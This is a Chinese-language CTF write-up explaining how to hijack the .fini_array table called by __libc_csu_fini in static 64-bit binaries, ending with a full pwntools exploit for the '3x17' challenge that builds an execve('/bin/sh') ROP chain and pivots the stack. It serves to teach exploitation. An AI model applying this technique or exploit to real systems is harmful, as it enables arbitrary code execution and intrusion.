前言
在64位的静态程序当中,除了
ret2syscall
,碰到了静态程序的万能gadget————fini
,fini
是个什么东西呢?回想之前的main真的是函数入口吗?
,在程序进入和退出都会调用函数来帮忙初始化和善后,它们分别是__libc_csu_init
和__libc_csu_fini
,后者就是今天我们要谈论的函数。
原理
用main真的是函数入口吗?
里面exit
的demo
:
#include<stdio.h>
int main(void)
{
printf("welcome to exit\n");
exit(0);
return 1;
}
//gcc exit.c -o exit -no-pie -static
IDA打开直接定位__libc_cus_fini
函数,里面有三条语句特别的关键:
.text:0000000000401910 __libc_csu_fini proc near ; DATA XREF: _start+F↑o
.text:0000000000401910 ; __unwind {
.text:0000000000401910 push rbp
.text:0000000000401911 lea rax, __gettext_germanic_plural
.text:0000000000401918 lea rbp, _fini_array_0
.text:000000000040191F push rbx
.text:0000000000401920 sub rax, rbp
.text:0000000000401923 sar rax, 3
.text:0000000000401927 sub rsp, 8
.text:000000000040192B test rax, rax
.text:000000000040192E jz short loc_401946
.text:0000000000401930 lea rbx, [rax-1]
.text:0000000000401934 nop dword ptr [rax+00h]
.text:0000000000401938
.text:0000000000401938 loc_401938: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000401938 call qword ptr [rbp + rbx*8]
.text:000000000040193C sub rbx, 1
.text:0000000000401940 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000401944 jnz short loc_401938
.text:0000000000401946
.text:0000000000401946 loc_401946: ; CODE XREF: __libc_csu_fini+1E↑j
.text:0000000000401946 add rsp, 8
.text:000000000040194A pop rbx
.text:000000000040194B pop rbp
.text:000000000040194C jmp _term_proc
.text:000000000040194C ; } // starts at 401910
.text:000000000040194C __libc_csu_fini endp
注意下面三条语句,它将是我们利用的关键,通过理解__libc_csu_fini
的执行流程,可以总结出它是先将_fini_array_0
这个数组的地址赋值给rbp
,之后通过call
来调用,那它是怎么调用的呢?下面展示动调的过程。
.text:0000000000401918 lea rbp, _fini_array_0
.text:0000000000401938 call qword ptr [rbp + rbx*8]
.text:0000000000401944 jnz short loc_401938
在__libc_csu_fini
下断点,c
之后步入之后来到0x401938
,可以看到它正常的调用了_fini_array_0
,调用返回之后会将sub rbx, 1
(此前rbx
的值为1
),再往下就是cmp rbx, 0FFFFFFFFFFFFFFFFh
,这里显然不等于,并触发跳转,程序又回到了刚刚的位置再一次call qword ptr [rbp + rbx*8]
,需要注意的是这次的call
索引的值不同了,之后rbx
减1
,未能触发跳转,看完动调的过程,我们总结一下它执行的流程为_fini_array[1] -> _fini_array[0]
。
知道了它的执行流程之后,那么怎么去利用它呢?并且_fini_array[1]
和_fini_array[0]
里面到底存的是什么呢?我们可以objdump
看一下fini_array
这个数组存放的位置,再用gdb
来看看fini_array
里面到底存的是什么?
➜ test objdump -h ./exit
./exit: 文件格式 elf64-x86-64
节:
Idx Name Size VMA LMA File off Algn
16 .fini_array 00000010 00000000006b6150 00000000006b6150 000b6150 2**3
CONTENTS, ALLOC, LOAD, DATA
在下图可以看到_fini_array[0] => __do_global_dtors_aux
和 _fini_array[1] => fini
, 那我们如果改_fini_array[0]
是不是就能劫持控制流了?答案是肯定的!
劫持_fini_array[0]
修改main真的是函数入口吗?
里面exit
的demo
为下面的代码:
#include<stdio.h>
void hack(void){
printf("welcome to hacker world\n");
}
int main(void)
{
printf("welcome to exit\n");
exit(0);
return 1;
}
//gcc exit.c -o exit -no-pie -static
还是在__libc_csu_fini
下断点,修改_fini_array[0]
的值为hack
函数的地址,再按下c
的时候,我们已经成功的打印了welcome to hacker world\n
!!!这里修改的只是hack
函数的地址,那如果是one_gadget
或者是shellcode
的地址,你应该能猜到会发生什么。
pwndbg> p hack
$2 = {<text variable, no debug info>} 0x400b6d <hack>
pwndbg> set {int}0x6b6150=0x400b6d
可遗憾的是,只有一些特定的情况才能像上面那样利用,接下来将介绍更通用的情况:
__libc_csu_fini的循环
既然它会循环调用,那不然就让它一直循环吧!我们将_fini_array[1]
改成某个函数的地址(下面都称它为A),同时再把_fini_array[0]
改成__libc_csu_fini
的地址,由于它每次call
完_fini_array[0]
都回到__libc_csu_fini
函数的开头,所以ebx
永远都不会等于-1
,那么程序的执行流将变成下面这个样子:
__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> .....
除非把fini_array[0]
覆盖成其他的值,否则它将一直循环到天荒地老,那么这么循环到底有什么用呢?答:进行ROP攻击,我们可以在fini_array+0x10
布置ROP,然后再将栈迁移到这里,最终实现我们的目的!讲的再多不如来道题目看看~
题目
3×17
打开IDA就得知这是一个静态的64位的程序,下面的checksec
就开了NX
:
➜ checksec 3x17
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序去了符号,经过之前对_start
函数的学习很容易知道main
函数的位置,找到_start
之后,__libc_start_main
的第一个参数就是main
函数地址:
下面就是main
函数,部分函数已经通过分析加上了符号,程序的逻辑很简单,就是读入一个地址,然后再这个地址上写数据,但只可以写0x18
的大小
__int64 sub_401B6D()
{
__int64 result; // rax
char *v1; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sys_write(1u, "addr:", 5uLL);
sys_read(0, buf, 0x18uLL);
v1 = (char *)(int)sub_40EE70((__int64)buf);
sys_write(1u, "data:", 5uLL);
sys_read(0, v1, 0x18uLL);
result = 0LL;
}
if ( __readfsqword(0x28u) != v3 )
error();
return result;
}
首先肯定是考虑前面说到的一种做法,修改_fini_array[0]
为one_gadget
或者是shellcode
的地址,再或者是其他可拿shell
的函数,shellcode
读不进去,栈地址也不能泄露,可拿shell
的函数也没有,那one_gadget
呢?由于程序是静态的,所以只能在程序本身里面寻找,答案很显然,没有….
➜ one_gadget 3x17
[OneGadget] ArgumentError: File "/home/laohu/Documents/pwn/others/3x17_fini prix/3x17" doesn't contain string "/bin/sh", not glibc?
那么就是第二种做法了,让__libc_csu_fini
循环起来,仔细想想如果循环的地址设置成main
,会发生什么?它会使byte_4B9330
疯狂加1
,同时它是unsigned __int8
类型的变量,疯狂加1
会使它整数溢出,所以它总有加到1
的时候,一旦它的值为1
,我们就有了一次任意地址读的机会,这样就可以循环读入我们的ROP
,每次都能读0x18
的大小,按照理论来说我们就可以把ROP
读到任何地方,但这里只讨论劫持fini_array
,通过objdump
来得到fini_array
地址:
➜ objdump -h ./3x17
./3x17: 文件格式 elf64-x86-64
节:
Idx Name Size VMA LMA File off Algn
15 .fini_array 00000010 00000000004b40f0 00000000004b40f0 000b30f0 2**3
CONTENTS, ALLOC, LOAD, DATA
写入的位置选在fini_array+0x10
,那…为什么是这个位置呢?回到刚刚的写ROP
,我们写入了ROP
,那必然要把esp
指过去,对不对?那肯定是要用到栈迁移,那写完ROP
之后,再次覆盖_fini_array[1]
实现栈迁移就会是下面这个场景:
(ebp = 0x4b40f0)
call qword ptr [rbp + rbx*8] <0x401580>
↓
mov rsp,rbp ;rsp => 0x4b40f0
pop ebp ;rsp => 0x4b40f8
ret ;rsp => 0x4b4100
此时,rsp
的值已经到0x4b4100
这个位置,那我们只要在此处布置好ROP+
栈迁移,等待ret
返回,就可以劫持控制流了!
write(esp,p64(pop_rax))
write(esp+8,p64(exe_call))
write(esp+16,p64(pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_array,p64(leave_ret))
完整exp:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
elf = ELF('3x17')
io = process('3x17')
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B
exe_call = 0x3b
esp = 0x4B4100
syscall = 0x471db5
pop_rax = 0x41e4af
pop_rdx = 0x446e35
pop_rsi = 0x406c30
pop_rdi = 0x401696
bin_sh_addr = 0x4B4200
def write(addr,data):
io.recv()
io.send(str(addr))
io.recv()
io.send(data)
write(fini_array,p64(libc_csu_fini)+p64(main_addr))
write(esp,p64(pop_rax))
write(esp+8,p64(exe_call))
write(esp+16,p64(pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_array,p64(leave_ret))
# gdb.attach(io)
io.interactive()